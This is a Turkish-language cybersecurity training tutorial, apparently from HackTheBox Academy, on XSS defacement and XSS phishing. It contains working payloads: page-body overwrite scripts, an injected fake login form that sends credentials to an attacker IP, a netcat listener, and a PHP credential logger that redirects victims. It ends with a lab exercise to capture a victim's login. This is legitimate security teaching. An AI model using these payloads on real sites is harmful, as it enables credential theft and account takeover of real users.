<script>document.title = 'HackTheBox Academy'</script>

Sayfa penceresinden/sekmesinden yeni başlığımızın bir öncekinin yerini aldığını görebiliriz:

Sayfa Metnini Değiştirme

Web sayfasında görüntülenen metni değiştirmek istediğimizde, bunu yapmak için çeşitli JavaScript işlevlerinden yararlanabiliriz. Örneğin, innerHTML fonksiyonunu kullanarak belirli bir HTML öğesinin/DOM’un metnini değiştirebiliriz:

document.getElementById("todo").innerHTML = "New Text"

Aynı şeyi daha verimli bir şekilde gerçekleştirmek veya tek bir satırda birden fazla öğenin metnini değiştirmek için jQuery işlevlerini de kullanabiliriz (bunu yapmak için jQuery kütüphanesinin sayfa kaynağına aktarılmış olması gerekir):

$("#todo").html('New Text');

Bu bize web sayfasındaki metni özelleştirmek ve ihtiyaçlarımızı karşılamak için küçük ayarlamalar yapmak için çeşitli seçenekler sunar. Ancak, bilgisayar korsanlığı grupları genellikle web sayfasında basit bir mesaj bırakıp başka bir şey bırakmadıkları için, innerHTML kullanarak ana gövdenin tüm HTML kodunu aşağıdaki gibi değiştireceğiz:

document.getElementsByTagName('body')[0].innerHTML = "New Text"

Gördüğümüz gibi, body öğesini document.getElementsByTagName(‘body’) ile belirleyebiliyoruz ve [0] belirterek, web sayfasının tüm metnini değiştirmesi gereken ilk body öğesini seçiyoruz. Aynı şeyi başarmak için jQuery de kullanabiliriz. Ancak, yükümüzü göndermeden ve kalıcı bir değişiklik yapmadan önce, HTML kodumuzu ayrı olarak hazırlamalı ve ardından HTML kodumuzu sayfa kaynağına ayarlamak için innerHTML kullanmalıyız.

Alıştırmamız için HTML kodunu Hack The Box Academy’nin ana sayfasından ödünç alacağız:

<center>
<h1 style="color: white">Cyber Security Training</h1>
<p style="color: white">by 
        <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy">
</p>
</ce

Nihai yükümüzde kullanmadan önce nasıl göründüğünü görmek ve beklendiği gibi çalıştığından emin olmak için HTML kodumuzu yerel olarak çalıştırmayı denemek akıllıca olacaktır.

HTML kodunu tek bir satıra indirgeyeceğiz ve önceki XSS yükümüze ekleyeceğiz. Son yük aşağıdaki gibi olmalıdır:

<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>

Yükümüzü savunmasız Yapılacaklar listesine eklediğimizde, HTML kodumuzun artık kalıcı olarak web sayfasının kaynak kodunun bir parçası olduğunu ve sayfayı ziyaret eden herkese mesajımızı gösterdiğini göreceğiz:

Üç XSS yükü kullanarak hedef web sayfamızı başarılı bir şekilde kullandık . Web sayfasının kaynak koduna bakarsak, orijinal kaynak kodunun hala var olduğunu ve enjekte edilen yüklerimizin sonunda göründüğünü göreceğiz:

<div></div><ul class="list-unstyled" id="todo"><ul>
<script>document.body.style.background = "#141d2b"</script>
</ul><ul><script>document.title = 'HackTheBox Academy'</script>
</ul><ul><script>document.getElementsByTagName('body')[0].innerHTML = '...SNIP...'</script>
</ul></ul>

Bunun nedeni, enjekte edilen JavaScript kodumuzun çalıştırıldığında sayfanın görünümünü değiştirmesidir, ki bu durumda kaynak kodun sonundadır. Enjeksiyonumuz kaynak kodun ortasındaki bir öğede olsaydı, diğer komut dosyaları veya öğeler ondan sonra eklenebilirdi, bu nedenle ihtiyacımız olan son görünümü elde etmek için bunları hesaba katmamız gerekirdi.

Ancak, normal kullanıcılara, sayfa defaced gibi görünür ve yeni görünümümüzü gösterir.

Phishing

Başka bir yaygın XSS saldırı türü phishing saldırısıdır. Phishing saldırıları genellikle kurbanları hassas bilgilerini saldırgana göndermeye ikna etmek için meşru görünen bilgilerden yararlanır. XSS phishing saldırılarının yaygın bir biçimi, sahte giriş formları enjekte ederek gerçekleştirilir; bu formlar giriş detaylarını saldırganın sunucusuna gönderir ve ardından saldırgan, kurban adına oturum açıp hesabı ve hassas bilgileri üzerinde kontrol sağlayabilir.

Dahası, bir kuruluş için bir web uygulamasında XSS zafiyeti belirlemeyi varsayalım. Bu tür bir saldırıyı phishing simülasyonu olarak kullanabiliriz. Bu, kuruluşun çalışanlarının güvenlik farkındalığını değerlendirmemize yardımcı olacak, özellikle de çalışanlar zafiyetli web uygulamasına güveniyor ve ondan zarar görmeyi beklemezlerse.

XSS Discovery

Bu bölümün sonunda yer alan sunucudan /phishing adresindeki web uygulamasında XSS zafiyetini bulmaya çalışarak başlıyoruz. Web sitesini ziyaret ettiğimizde, basit bir çevrimiçi resim görüntüleyici olduğunu görüyoruz; bir resmin URL’sini girebiliyoruz ve o resmi görüntüleyebiliyoruz:

Bu tür resim görüntüleyiciler çevrimiçi forumlarda ve benzer web uygulamalarında yaygındır. URL üzerinde kontrol sahibi olduğumuz için, kullandığımız temel XSS yükünü kullanarak başlayabiliriz. Ancak bu yükü denediğimizde, hiçbir şeyin çalıştırılmadığını ve ölü resim url simgesini aldığımızı görüyoruz:

Bu nedenle, önceden öğrendiğimiz XSS Keşfi sürecini çalıştırmalıyız ve çalışan bir XSS yükü bulmalıyız. Devam etmeden önce, sayfada JavaScript kodunu başarıyla çalıştıran bir XSS yükü bulmaya çalışın.

İpucu: Hangi yükün işe yarayacağını anlamak için, girdinizin nasıl göründüğünü ekledikten sonra HTML kaynağında nasıl göründüğünü incelemeyi deneyin.

Login Form Injection

Bir çalışan XSS yükü belirledikten sonra, phishing saldırısına geçebiliriz. Bir XSS phishing saldırısı gerçekleştirmek için, hedeflenen sayfada bir giriş formu gösteren bir HTML kodu enjekte etmemiz gerekir. Bu form, bir kullanıcı giriş yapmaya çalıştığında kimlik bilgilerini dinlediğimiz bir sunucuya girmelidir.

Basit bir giriş formu için bir HTML kodu bulmak kolaydır veya kendi giriş formumuzu yazabiliriz. Aşağıdaki örnek bir giriş formunu sunmalıdır:

<h3>Please login to continue</h3>
<form action=http://OUR_IP>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>

Yukarıdaki HTML kodunda, OUR_IP, formdan gönderilen kimlik bilgilerini almak için dinleme yapacağımız sanal makinenin IP’sidir. Bu IP’yi tun0 altında (ip a) komutunu kullanarak bulabiliriz. Giriş formu aşağıdaki gibi görünmelidir:

<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>

Sonraki adımda, XSS kodumuzu hazırlamalı ve bu zafiyetli forma test etmeliyiz. Zafiyetli sayfaya HTML kodu yazmak için JavaScript fonksiyonu document.write()’ı kullanabiliriz ve bu fonksiyonu XSS Keşfi adımında bulduğumuz XSS yükü içinde kullanabiliriz. HTML kodumuzu tek satıra sıkıştırdıktan sonra ve bunu write fonksiyonu içine ekledikten sonra, son JavaScript kodu aşağıdaki gibi olmalıdır:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

Şimdi bu JavaScript kodunu XSS yükümüzü kullanarak enjekte edebiliriz (yani, alert(window.origin) JavaScript Kodunu çalıştırmak yerine). Bu durumda, Yansıtılan XSS açığını sömürüyoruz, bu nedenle URL’yi ve XSS yükümüzü parametrelerine kopyalayabiliriz, Yansıtılan XSS bölümünde yaptığımız gibi, ve kötü amaçlı URL’yi ziyaret ettiğimizde sayfa aşağıdaki gibi görünmelidir:

Cleaning Up

URL alanının hala görüntülendiğini görebiliyoruz, bu da “Devam etmek için lütfen giriş yapın” satırımızı geçersiz kılıyor. Dolayısıyla, kurbanı giriş formunu kullanmaya teşvik etmek için URL alanını kaldırmalıyız, böylece sayfayı kullanabilmek için giriş yapmaları gerektiğini düşünebilirler. Bunu yapmak için, document.getElementById().remove() fonksiyonunu kullanabiliriz.

Kaldırmak istediğimiz HTML öğesinin kimliğini bulmak için, [CTRL+SHIFT+C] tuşlarına basarak Sayfa İnceleyici Seçici’yi açabiliriz ve ardından ihtiyacımız olan öğeye tıklayabiliriz:

Hem kaynak kodda hem de üzerine gelinen metinde gördüğümüz gibi url formu urlform id’sine sahiptir:

<form role="form" action="index.php" method="GET" id='urlform'>
    <input type="text" placeholder="Image URL" name="url">
</form>

Artık URL formunu kaldırmak için bu kimliği remove() işleviyle kullanabiliriz:

document.getElementById('urlform').remove();

Şimdi, bu kodu önceki JavaScript kodumuza eklediğimizde (document.write işlevinden sonra), bu yeni JavaScript kodunu yükümüzde kullanabiliriz:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

Güncellenmiş JavaScript kodumuzu enjekte etmeye çalıştığımızda, URL formunun gerçekten de artık görüntülenmediğini görüyoruz:

Ayrıca, enjekte edilen giriş formumuzdan sonra hala orijinal HTML kodundan bir parça kaldığını görüyoruz. Bu, XSS yükümüzden sonra bir HTML açılış yorumu ekleyerek basitçe yorumlanarak kaldırılabilir:

...PAYLOAD... <!--

Gördüğümüz gibi, bu işlem orijinal HTML kodunun kalan kısmını kaldırır ve yükümüz hazır hale gelir. Sayfa artık yasal olarak bir giriş gerektiriyormuş gibi görünüyor:

Şimdi, tüm yükü içeren nihai URL’yi kopyalayabilir ve kurbanlarımıza gönderebilir ve onları sahte giriş formunu kullanmaya kandırmaya çalışabiliriz. URL’yi ziyaret ederek giriş formunun istendiği gibi görüntülenip görüntülenmediğini kontrol edebilirsiniz. Ayrıca yukarıdaki giriş formuna giriş yapmayı deneyin ve ne olduğunu görün.

Credential Stealing

Son olarak, kurbanın enjekte ettiğimiz giriş formunda giriş yapmaya çalıştığında giriş bilgilerini çalacağımız kısma geliyoruz. Eğer enjekte edilmiş giriş formuna giriş yapmayı denerseniz, muhtemelen “Bu siteye ulaşılamıyor” hatasını alırsınız. Bu, daha önce belirtildiği gibi, HTML formumuzun giriş isteğini IP adresimize göndermek üzere tasarlandığı için, bağlantı için dinlememiz gerektiği anlamına gelir. Bağlantı için dinleme yapmıyorsak, siteye ulaşılamıyor hatası alırız.

Bu nedenle, basit bir netcat sunucusu başlatalım ve biri form aracılığıyla giriş yapmaya çalıştığında hangi türde bir istek aldığımızı görelim. Bunun için, Pwnbox’ta port 80'de dinlemeye başlayabiliriz, şu şekilde:

songül@htb[/htb]$ sudo nc -lvnp 80
listening on [any] 80 ...

Şimdi test:test kimlik bilgileriyle giriş yapmayı deneyelim ve elde ettiğimiz netcat çıktısını kontrol edelim (XSS yükündeki OUR_IP’yi gerçek IP’nizle değiştirmeyi unutmayın):

connect to [10.10.XX.XX] from (UNKNOWN) [10.10.XX.XX] XXXXX
GET /?username=test&password=test&submit=Login HTTP/1.1
Host: 10.10.XX.XX
...SNIP...

Görüldüğü gibi, HTTP isteği URL’sinde kimlik bilgilerini (/?username=test&password=test) yakalayabiliriz. Herhangi bir kurban form aracılığıyla giriş yapmaya çalışırsa, kimlik bilgilerini alacağız.

Ancak, sadece bir netcat dinleyicisiyle dinlediğimiz için HTTP isteğini doğru şekilde işlemeyecek ve kurban bir Bağlanamıyor hatası alacaktır, bu da bazı şüpheleri uyandırabilir. Bu nedenle, HTTP isteğinden kimlik bilgilerini kaydeden ve ardından kurbanı herhangi bir enjeksiyon olmadan orijinal sayfaya geri döndüren basit bir PHP betiği kullanabiliriz. Bu durumda, kurban başarılı bir şekilde giriş yaptığını düşünebilir ve Resim Görüntüleyiciyi istendiği gibi kullanacaktır.

İhtiyacımız olanı yapacak aşağıdaki PHP betiği, VM’imizde bir dosyaya yazacağız ve bunu index.php olarak adlandırıp /tmp/tmpserver/ dizinine koyacağız (egzersizimizdeki ip ile SERVER_IP’i unutmayın):

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

Artık index.php dosyamız hazır olduğuna göre, daha önce kullandığımız temel netcat dinleyicisi yerine kullanabileceğimiz bir PHP dinleme sunucusu başlatabiliriz:

songül@htb[/htb]$ mkdir /tmp/tmpserver
songül@htb[/htb]$ cd /tmp/tmpserver
songül@htb[/htb]$ vi index.php #at this step we wrote our index.php file
songül@htb[/htb]$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

Enjekte edilen giriş formuna giriş yapmayı deneyelim ve ne elde ettiğimize bakalım. Orijinal Image Viewer sayfasına yönlendirildiğimizi görüyoruz:

Pwnbox’ımızdaki creds.txt dosyasını kontrol edersek, giriş kimlik bilgilerini aldığımızı görürüz:

songül@htb[/htb]$ cat creds.txt
Username: test | Password: test

Her şey hazır olduğunda, PHP sunucumuzu başlatabilir ve XSS yükümüzü içeren URL’yi kurbanımıza gönderebiliriz ve forma giriş yaptıklarında, kimlik bilgilerini alır ve hesaplarına erişmek için kullanırız.

Hedef: Hedef sistemini başlatmak için buraya tıklayın! +3 Yukarıdaki sunucuda ‘/phishing’ adresinde bulunan Resim URL formu için çalışan bir XSS yükü bulmaya çalışın ve ardından bu bölümde öğrendiklerinizi kullanarak zararlı bir giriş formu enjekte eden zararlı bir URL hazırlayın. Daha sonra URL’yi kurbanı

/phishing/send.php’ adresine göndermek için kullanın ve kurban, zararlı giriş formuna giriş yapacaktır. Her şeyi doğru yaptıysanız, kurbanın giriş kimlik bilgilerini almalısınız; bu bilgileri kullanarak ‘/phishing/login.php’ adresine giriş yapabilir ve bayrağı alabilirsiniz.